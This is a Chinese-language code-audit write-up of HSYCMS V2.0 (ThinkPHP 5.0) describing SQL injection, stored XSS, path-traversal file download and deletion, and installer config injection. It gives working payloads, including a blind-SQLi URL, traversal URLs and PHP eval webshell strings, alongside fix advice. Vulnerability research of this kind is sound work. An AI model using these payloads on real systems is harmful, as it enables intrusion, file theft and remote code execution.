代码审计之某cms V2.0
字数 1543 2025-08-27 12:33:42
HSYCMS V2.0 安全审计报告与漏洞分析
前言
本报告基于对HSYCMS V2.0(基于ThinkPHP 5.0开发)的安全审计结果,详细分析了系统中存在的多个安全漏洞,包括SQL注入、XSS、任意文件下载、任意文件删除以及通过配置文件写入实现Getshell等安全问题。
1. SQL注入漏洞
漏洞位置
- 文件:
app/index/controller/Show.php中的index方法 - 调用链:
index方法 →prevNext函数
漏洞分析
prevNext函数中使用字符串拼接方式构造SQL查询条件where方法直接使用字符串条件时,ThinkPHP不会进行预处理或过滤- 变量
$id来自用户输入且可控
关键代码
// 字符串条件直接查询示例
Db::table('think_user')->where('type=1 AND status=1')->select();
// 生成SQL: SELECT * FROM think_user WHERE type=1 AND status=1
安全建议
- 使用预处理机制:
Db::table('think_user')
->where("id=:id and username=:name")
->bind(['id'=>[1,\PDO::PARAM_INT],'name'=>'thinkphp'])
->select();
漏洞利用
构造Payload:
/news/151) and if(#inject#,sleep(1),1) and ( 1=1
2. 存储型XSS漏洞
漏洞位置
- 前端提交:
app/index/controller/Show.php中的sendemail方法 - 后台展示:
app/hsycms/controller/Site.php控制器 - 模板文件:
app/hsycms/view/site/book.html
漏洞分析
- 前台接收POST数据直接存入数据库
- 后台取出数据后直接赋值给模板
- ThinkPHP 5.0模板引擎直接输出变量,未进行HTML实体编码
ThinkPHP版本差异
- ThinkPHP 5.0:
// 模板: Hello,{$name}!
// 编译后: Hello,<?php echo($name);?>!
- ThinkPHP 5.1:
// 模板: Hello,{$name}!
// 编译后: Hello,<?php echo htmlentities($name);?>!
漏洞利用
- 提交恶意留言(含XSS payload)
- 后台管理员查看留言时触发
3. 后台任意文件下载
漏洞位置
- 文件:
app/hsycms/controller/Database.php中的downloadsql方法 - 参数:
name参数未过滤
漏洞利用
构造Payload:
/index.php/hsycms/database/downloadsql/?name=/../../app/config.php
4. 后台任意文件删除
漏洞位置
- 文件:
app/hsycms/controller/Database.php中的delsql方法 - 参数:
name参数未过滤
漏洞利用
构造Payload:
/index.php/hsycms/database/delsql/?name=../../app/install/data/install.lock
5. 写配置文件Getshell
漏洞位置
- 安装流程:
app/install/controller/Index.phpconfig方法:将db数组写入sessionsql方法:从session读取配置并写入文件
- 配置文件写入:
app/install/common.php中的write_config函数
漏洞分析
- 安装过程中对数据库配置参数过滤不严
write_config函数仅做简单模板替换,未对内容进行安全校验
漏洞利用方法一(直接方式)
在数据库名称字段构造PHP代码:
';@eval($_POST['cmd']);//
漏洞利用方法二(复杂方式)
当直接方式被限制时,可在数据表前缀构造:
sy_user` set password=1 or '.@eval($_POST["q"]).'#
最终生成的SQL:
update `sy_user` set password=1 or '.@eval($_POST["q"]).'#user`
set password='21232f297a57a5a743894a0e4a801fc3' where username='admin'
总结与安全建议
主要问题总结
- SQL查询未使用预处理机制
- 用户输入未充分过滤和转义
- 文件操作未进行路径校验
- 安装过程安全控制不足
安全开发建议
-
SQL查询安全:
- 始终使用参数绑定和预处理
- 避免直接拼接用户输入到SQL语句
-
XSS防护:
- 对所有输出到HTML的内容进行HTML实体编码
- 可使用ThinkPHP 5.1的自动过滤机制
-
文件操作安全:
- 对文件路径进行规范化处理
- 限制文件操作目录范围
- 检查文件名合法性
-
安装过程安全:
- 对写入配置文件的参数进行严格过滤
- 安装完成后删除或保护安装脚本
-
其他建议:
- 实施最小权限原则
- 对后台功能进行严格的权限控制
- 定期进行安全审计和代码审查
通过本次审计可见,即使是基于成熟框架开发的系统,如果未能正确使用框架的安全特性,仍然会引入严重的安全漏洞。开发人员应深入理解框架的安全机制,并在开发过程中严格执行安全编码规范。